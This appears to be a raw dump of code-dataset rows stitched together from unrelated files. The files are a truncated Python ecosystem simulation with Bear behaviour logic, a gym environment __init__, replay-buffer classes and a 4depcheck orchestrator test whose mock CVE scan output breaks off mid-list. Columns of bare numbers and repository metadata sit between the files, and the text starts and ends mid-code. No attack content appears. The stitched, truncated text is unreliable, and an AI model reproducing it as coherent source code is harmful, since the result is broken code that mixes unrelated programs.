target_y) elif engine.can_eat_at_pos(self, target_x, target_y): engine.eat_by_pos(self, target_x, target_y) elif engine.can_step(self, vector_x, vector_y): engine.step(self, vector_x, vector_y) elif (vector_x != 0) or (vector_y != 0): dist_counter = self.get_dist() jump_flag = False while dist_counter > 1: ratio = dist_counter / math.sqrt(vector_x ** 2 + vector_y ** 2) vector_x = math.floor(vector_x * ratio) vector_y = math.floor(vector_y * ratio) if engine.can_jump(self, vector_x, vector_y): jump_flag = True break dist_counter -= 1 if jump_flag: engine.jump(self, vector_x, vector_y) else: self.reset_target() class Bear(Animal): def __init__(self, start_life: int, start_energy: int, max_life: int, max_energy: int, display: str, x: int, y: int, dist: int, descendant_count_min: int, descendant_count_max: int, speed: int, speed_max: int, can_breed_on_self: bool, sight: int, strength: int, gender: Gender): Animal.__init__(self, start_life, start_energy, max_life, max_energy, display, x, y, dist, descendant_count_min, descendant_count_max, speed, speed_max, can_breed_on_self, sight, strength, gender) def create_descendant(self, start_life: int, start_energy: int, max_life: int, max_energy: int, display: str, x: int, y: int, dist: int, descendant_count_min: int, descendant_count_max: int, speed: int, speed_max: int, can_breed_on_self: bool, sight: int, strength: int, gender: Gender) -> Animal: return Bear(start_life, start_energy, max_life, max_energy, display, x, y, dist, descendant_count_min, descendant_count_max, speed, speed_max, can_breed_on_self, sight, strength, gender) def get_name(self) -> str: return 'bear' def can_eat(self, obj: EcoObject) -> bool: res = (not isinstance(obj, Bear)) or (self.get_starving_plank() >= self.get_energy_value() and obj.get_gender() == self.get_gender()) return res def act_on(self, object_list: List[EcoObject], engine: Engine): # resetting target if (self.is_target_set()) and (self.get_x() == self.get_target_x()) and ( self.get_y() == self.get_target_y()): self.reset_target() action_is_possible_flag: bool = True # more for testing mb if self.is_target_set(): action_is_possible_flag = False # making lists acceptable: List[EcoObject] = [] eaters: List[Animal] = [] food: List[EcoObject] = [] # filling lists for eo in object_list: if eo.__ne__(self): if eo.get_name().__eq__(self.get_name()) and eo.can_breed() and engine.can_breed_on_turn( eo) and engine.can_breed_on_turn(self): if isinstance(eo, Animal) and isinstance(self, Animal): if eo.get_gender() != self.get_gender(): acceptable.append(eo) else: acceptable.append(eo) if isinstance(eo, Animal): tmp = eo if (tmp.can_eat(self)) and (self.get_strength() < tmp.get_strength()): eaters.append(tmp) if self.can_eat(eo): if isinstance(eo, Animal): tmp = eo if tmp.get_strength() < self.get_strength(): food.append(eo) else: food.append(eo) # run sequence if len(eaters) > 0 and not isinstance(self, Plant): action_is_possible_flag = False x_start = self.get_x() y_start = self.get_y() y_vec_sum = 0 x_vec_sum = 0 count = 0 min_x = engine.get_min_x() max_x = engine.get_max_x() min_y = engine.get_min_y() max_y = engine.get_max_y() for ea in eaters: tmp_x_v = ea.get_x() - x_start tmp_y_v = ea.get_y() - y_start count += 1 x_vec_sum += tmp_x_v y_vec_sum += tmp_y_v target_x: int = max(min(x_start - self.get_speed_max() * round(x_vec_sum / count), max_x), min_x) target_y: int = max(min(y_start - self.get_speed_max() * round(y_vec_sum / count), max_y), min_y) # updating target to not be cornered hostile_vector_x = round(x_vec_sum / count) hostile_vector_y = round(y_vec_sum / count) if (x_start == min_x or x_start == max_x) or (y_start == min_y or y_start == max_y) and ( target_x == x_start) and (target_y == y_start): if abs(hostile_vector_x) > abs(hostile_vector_y): if hostile_vector_y > 0: target_y = max_y else: target_y = min_y else: if hostile_vector_x > 0: target_x = max_x else: target_x = min_x self.set_target(target_x, target_y) # feed sequence if (not self.can_breed() or len(acceptable) == 0) and not self.is_target_set() and len( food) > 0 and not engine.is_well_fed(self): action_is_possible_flag = False max_food_energy = food[0].get_energy_value() max_energy_candidate = food[0] min_food_distance = self._dist_sqr(food[0]) min_distance_candidate = food[0] for f in food: energy = f.get_energy_value() distance = self._dist_sqr(f) if energy > max_food_energy: max_food_energy = energy max_energy_candidate = f if distance < min_food_distance: min_food_distance = distance min_distance_candidate = f candidate: EcoObject = max_energy_candidate ratio = self._dist_sqr(max_energy_candidate) / min_food_distance if ratio >= 4 or min_food_distance <= 2: candidate = min_distance_candidate # action selection food_distance = self._dist_sqr(candidate) if food_distance <= 2: engine.eat(self, candidate) self.reset_target() else: target_x = candidate.get_x() target_y = candidate.get_y() self.set_target(target_x, target_y) # breed sequence if self.can_breed() and len(acceptable) > 0 and not self.is_target_set(): action_is_possible_flag = False # candidate list breed_range = engine.get_breed_range() real_candidates: List[EcoObject] = [] for a in acceptable: if (self._dist_sqr(a) <= breed_range ** 2) and (engine.can_breed(self, a)): real_candidates.append(a) if len(real_candidates) > 0: max_energy = real_candidates[0].get_energy_value() candidate = real_candidates[0] if isinstance(self, Plant): if len(real_candidates) > 0: for c in real_candidates: if c.get_energy_value() > max_energy: max_energy = c.get_energy_value() candidate = c engine.breed(self, candidate) else: engine.breed(self, self) elif isinstance(self, Animal): for c in acceptable: if c.get_energy_value() > max_energy: max_energy = c.get_energy_value() candidate = c if (self._dist_sqr(candidate) <= breed_range ** 2) and (engine.can_breed(self, candidate)): engine.breed(self, candidate) else: self.set_target(candidate.get_x(), candidate.get_y()) else: action_is_possible_flag = True # pick random direction just in case there is nothing to do if (len(object_list) == 0) or (action_is_possible_flag and not self.is_target_set()): x_v = self.get_speed_max() * random.randint(-self.get_dist(), self.get_dist()) y_v = self.get_speed_max() * random.randint(-self.get_dist(), self.get_dist()) if x_v == 0 and y_v == 0: x_v = self.get_dist() y_v = - self.get_dist() min_x = engine.get_min_x() max_x = engine.get_max_x() min_y = engine.get_min_y() max_y = engine.get_max_y() target_x = max(min(self.get_x() + x_v, max_x), min_x) target_y = max(min(self.get_y() + y_v, max_y), min_y) self.set_target(target_x, target_y) # move sequence if self.is_target_set(): # a crutch to fix out of range max_x = engine.get_max_x() min_x = engine.get_min_x() max_y = engine.get_max_y() min_y = engine.get_min_y() target_x = max(min(self.get_target_x(), max_x), min_x) target_y = max(min(self.get_target_y(), max_y), min_y) self.set_target(target_x, target_y) vector_x = target_x - self.get_x() vector_y = target_y - self.get_y() if engine.can_jump(self, vector_x, vector_y): engine.jump(self, vector_x, vector_y) self.reset_target() elif engine.can_breed_at_pos(self, target_x, target_y): engine.breed_by_pos(self, target_x, target_y) elif engine.can_eat_at_pos(self, target_x, target_y): engine.eat_by_pos(self, target_x, target_y) elif engine.can_step(self, vector_x, vector_y): engine.step(self, vector_x, vector_y) elif (vector_x != 0) or (vector_y != 0): dist_counter = self.get_dist() jump_flag = False while dist_counter > 1: ratio = dist_counter / math.sqrt(vector_x ** 2 + vector_y ** 2) vector_x = math.floor(vector_x * ratio) vector_y = math.floor(vector_y * ratio) if engine.can_jump(self, vector_x, vector_y): jump_flag = True break dist_counter -= 1 if jump_flag: engine.jump(self, vector_x, vector_y) else: self.reset_target()
42.108527
156
0.47015
4,206
38,024
3.907751
0.03495
0.037905
0.017523
0.020443
0.97183
0.968545
0.965685
0.964286
0.962339
0.961183
0
0.004878
0.450058
38,024
902
157
42.155211
0.78112
0.02246
0
0.95818
0
0
0.000512
0
0
0
0
0
0
1
0.0246
false
0
0.00246
0.01107
0.04674
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
03e398d3602c5c286bfd8af54169feaab4a4d507
510
py
Python
environments/mujoco/rand_param_envs/gym/envs/classic_control/__init__.py
NagisaZj/varibad
df7cda81588c62a2a3bee69e4173228701bd7000
[ "MIT" ]
8
2021-06-08T14:29:26.000Z
2022-02-11T13:54:09.000Z
environments/mujoco/rand_param_envs/gym/envs/classic_control/__init__.py
NagisaZj/varibad
df7cda81588c62a2a3bee69e4173228701bd7000
[ "MIT" ]
2
2021-01-13T14:58:50.000Z
2021-01-13T14:59:40.000Z
environments/mujoco/rand_param_envs/gym/envs/classic_control/__init__.py
NagisaZj/varibad
df7cda81588c62a2a3bee69e4173228701bd7000
[ "MIT" ]
1
2021-12-09T21:43:08.000Z
2021-12-09T21:43:08.000Z
from environments.mujoco.rand_param_envs.gym.envs.classic_control.acrobot import AcrobotEnv from environments.mujoco.rand_param_envs.gym.envs.classic_control.cartpole import CartPoleEnv from environments.mujoco.rand_param_envs.gym.envs.classic_control.continuous_mountain_car import \ Continuous_MountainCarEnv from environments.mujoco.rand_param_envs.gym.envs.classic_control.mountain_car import MountainCarEnv from environments.mujoco.rand_param_envs.gym.envs.classic_control.pendulum import PendulumEnv
72.857143
100
0.890196
69
510
6.304348
0.289855
0.183908
0.252874
0.298851
0.708046
0.708046
0.708046
0.708046
0.708046
0.708046
0
0
0.04902
510
6
101
85
0.896907
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.833333
0
0.833333
0
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
11
ff07329e3412559d6a4ce7ba74a557f1b20c9db9
5,742
py
Python
component/replay.py
bibofeng/DeepRL-1
7b14d9720a8ea1e08b05a2889d699a70174caf8f
[ "Apache-2.0" ]
null
null
null
component/replay.py
bibofeng/DeepRL-1
7b14d9720a8ea1e08b05a2889d699a70174caf8f
[ "Apache-2.0" ]
null
null
null
component/replay.py
bibofeng/DeepRL-1
7b14d9720a8ea1e08b05a2889d699a70174caf8f
[ "Apache-2.0" ]
1
2021-08-11T19:37:04.000Z
2021-08-11T19:37:04.000Z
####################################################################### # Copyright (C) 2017 Shangtong Zhang(zhangshangtong.cpp@gmail.com) # # Permission given to modify the code as long as you keep this # # declaration at the top # ####################################################################### import numpy as np import torch import random class Replay: def __init__(self, memory_size, batch_size, dtype=np.float32): self.memory_size = memory_size self.batch_size = batch_size self.dtype = dtype self.states = None self.actions = np.empty(self.memory_size, dtype=np.int8) self.rewards = np.empty(self.memory_size) self.next_states = None self.terminals = np.empty(self.memory_size, dtype=np.int8) self.pos = 0 self.full = False def feed(self, experience): state, action, reward, next_state, done = experience if self.states is None: self.states = np.empty((self.memory_size, ) + state.shape, dtype=self.dtype) self.next_states = np.empty((self.memory_size, ) + state.shape, dtype=self.dtype) self.states[self.pos][:] = state self.actions[self.pos] = action self.rewards[self.pos] = reward self.next_states[self.pos][:] = next_state self.terminals[self.pos] = done self.pos += 1 if self.pos == self.memory_size: self.full = True self.pos = 0 def sample(self): upper_bound = self.memory_size if self.full else self.pos sampled_indices = np.random.randint(0, upper_bound, size=self.batch_size) return [self.states[sampled_indices], self.actions[sampled_indices], self.rewards[sampled_indices], self.next_states[sampled_indices], self.terminals[sampled_indices]] class HybridRewardReplay: def __init__(self, memory_size, batch_size, dtype=np.float32): self.memory_size = memory_size self.batch_size = batch_size self.dtype = dtype self.states = None self.actions = np.empty(self.memory_size, dtype=np.int8) self.rewards = None self.next_states = None self.terminals = np.empty(self.memory_size, dtype=np.int8) self.pos = 0 self.full = False def feed(self, experience): state, action, reward, next_state, done = experience if self.states is None: self.rewards = np.empty((self.memory_size, ) + reward.shape, dtype=self.dtype) self.states = np.empty((self.memory_size, ) + state.shape, dtype=self.dtype) self.next_states = np.empty((self.memory_size, ) + state.shape, dtype=self.dtype) self.states[self.pos][:] = state self.actions[self.pos] = action self.rewards[self.pos][:] = reward self.next_states[self.pos][:] = next_state self.terminals[self.pos] = done self.pos += 1 if self.pos == self.memory_size: self.full = True self.pos = 0 def sample(self): upper_bound = self.memory_size if self.full else self.pos sampled_indices = np.random.randint(0, upper_bound, size=self.batch_size) return [self.states[sampled_indices], self.actions[sampled_indices], self.rewards[sampled_indices], self.next_states[sampled_indices], self.terminals[sampled_indices]] class HighDimActionReplay: def __init__(self, memory_size, batch_size, dtype=np.float32): self.memory_size = memory_size self.batch_size = batch_size self.dtype = dtype self.states = None self.actions = None self.rewards = np.empty(self.memory_size) self.next_states = None self.terminals = np.empty(self.memory_size, dtype=np.int8) self.pos = 0 self.full = False def feed(self, experience): state, action, reward, next_state, done = experience if self.states is None: self.states = np.empty((self.memory_size, ) + state.shape, dtype=self.dtype) self.actions = np.empty((self.memory_size, ) + action.shape) self.next_states = np.empty((self.memory_size, ) + state.shape, dtype=self.dtype) self.states[self.pos][:] = state self.actions[self.pos][:] = action self.rewards[self.pos] = reward self.next_states[self.pos][:] = next_state self.terminals[self.pos] = done self.pos += 1 if self.pos == self.memory_size: self.full = True self.pos = 0 def sample(self): upper_bound = self.memory_size if self.full else self.pos sampled_indices = np.random.randint(0, upper_bound, size=self.batch_size) return [self.states[sampled_indices], self.actions[sampled_indices], self.rewards[sampled_indices], self.next_states[sampled_indices], self.terminals[sampled_indices]] class GeneralReplay: def __init__(self, memory_size, batch_size): self.buffer = [] self.memory_size = memory_size self.batch_size = batch_size def feed(self, experiences): for experience in zip(*experiences): self.buffer.append(experience) if len(self.buffer) > self.memory_size: del self.buffer[0] def sample(self): sampled = zip(*random.sample(self.buffer, self.batch_size)) return sampled def clear(self): self.buffer = [] def full(self): return len(self.buffer) == self.memory_size
35.226994
93
0.59683
705
5,742
4.706383
0.114894
0.105485
0.130802
0.076854
0.866184
0.863171
0.841169
0.823689
0.814045
0.814045
0
0.006724
0.274817
5,742
162
94
35.444444
0.790106
0.027865
0
0.806452
0
0
0
0
0
0
0
0
0
1
0.112903
false
0
0.024194
0.008065
0.209677
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
2092fa18839a25e93e58699609a72626b3fc5138
22,147
py
Python
tests/tool/test_orchestrator.py
eliasgranderubio/4depcheck
642dfc7182da791aed0c9471cef6a4b75bd375b8
[ "Apache-2.0" ]
5
2017-12-02T14:06:50.000Z
2020-09-28T23:43:42.000Z
tests/tool/test_orchestrator.py
eliasgranderubio/4depcheck
642dfc7182da791aed0c9471cef6a4b75bd375b8
[ "Apache-2.0" ]
5
2018-01-06T14:18:18.000Z
2021-07-27T18:26:42.000Z
tests/tool/test_orchestrator.py
eliasgranderubio/4depcheck
642dfc7182da791aed0c9471cef6a4b75bd375b8
[ "Apache-2.0" ]
5
2018-01-06T14:17:43.000Z
2021-07-14T12:21:38.000Z
# # Licensed to 4depcheck under one or more contributor # license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright # ownership. 4depcheck licenses this file to you under # the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # import unittest import json from unittest.mock import patch from tool.orchestrator import run_tools from tool.orchestrator import _avoid_repetition from tests.tool.open_source.test_owasp_depcheck import mock_owasp_dep_check_generated_repo from tests.tool.open_source.test_retirejs import mock_generated_report # -- Test suite class OrchestratorTestSuite(unittest.TestCase): # -- Mock internal classes class MockRetireJS(): def run_retirejs(self): output = [] for i in json.loads(mock_generated_report): output.append(i) return output class MockOwaspDepCheck(): def run_owasp_depcheck(self): output = [] for i in json.loads(mock_owasp_dep_check_generated_repo): output.append(i) return output # -- Tests @patch('tool.open_source.owasp_depcheck.OwaspDepCheck.run_owasp_depcheck', return_value=MockOwaspDepCheck().run_owasp_depcheck()) @patch('tool.open_source.retirejs.RetireJS.run_retirejs', return_value=MockRetireJS().run_retirejs()) def test_run_tools(self, m1, m2): self.assertEqual(json.loads(run_tools('/tmp')), json.loads(mock_output)) def test_avoid_repetition(self): self.assertEqual(_avoid_repetition(json.loads(mock_output_with_repetition)), json.loads('[{"cve_product": "jquery", "cve_severity": "medium", "cve_id": "CVE-2011-4969", "cve_type": "js", "cve_product_file_path": "speed/jquery-basis.js", "cve_product_version": "1.4.2"}]')) # -- Mock constants mock_output_with_repetition='[{"cve_product": "jquery", "cve_severity": "medium", "cve_id": "CVE-2011-4969", "cve_type": "js", "cve_product_file_path": "speed/jquery-basis.js", "cve_product_version": "1.4.2"},{"cve_product": "jquery", "cve_severity": "medium", "cve_id": "CVE-2011-4969", "cve_type": "js", "cve_product_file_path": "speed/jquery-basis.js", "cve_product_version": "1.4.2"},{"cve_product": "jquery", "cve_severity": "medium", "cve_id": "CVE-2011-4969", "cve_type": "js", "cve_product_file_path": "speed/jquery-basis.js", "cve_product_version": "1.4.2"}]' mock_output='[{"cve_product": "jquery", "cve_severity": "medium", "cve_id": "CVE-2011-4969", "cve_type": "js", "cve_product_file_path": "speed/jquery-basis.js", "cve_product_version": "1.4.2"}, {"cve_product": "xalan-java", "cve_severity": "high", "cve_id": "CVE-2014-0107", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/apache/xalan/main/xalan-2.7.1.jbossorg-4.jar", "cve_product_version": "2.7.1"}, {"cve_product": "openssl", "cve_severity": "high", "cve_id": "CVE-1999-0428", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2007-5536", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2009-0590", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "low", "cve_id": "CVE-2013-0169", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2014-0160", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0207", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0208", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0209", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0285", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0286", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0287", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0288", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0289", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0290", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0291", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-0293", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "low", "cve_id": "CVE-2015-1787", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-1788", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-1789", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-1790", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-1791", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-1792", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-1794", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-3193", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-3194", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-3195", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-3197", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2015-4000", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "low", "cve_id": "CVE-2016-0701", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "low", "cve_id": "CVE-2016-0702", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-0703", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-0704", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "high", "cve_id": "CVE-2016-0705", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-0797", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "high", "cve_id": "CVE-2016-0798", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "high", "cve_id": "CVE-2016-0799", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-0800", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-2105", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-2106", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "low", "cve_id": "CVE-2016-2107", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "high", "cve_id": "CVE-2016-2108", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "high", "cve_id": "CVE-2016-2109", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-2176", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", 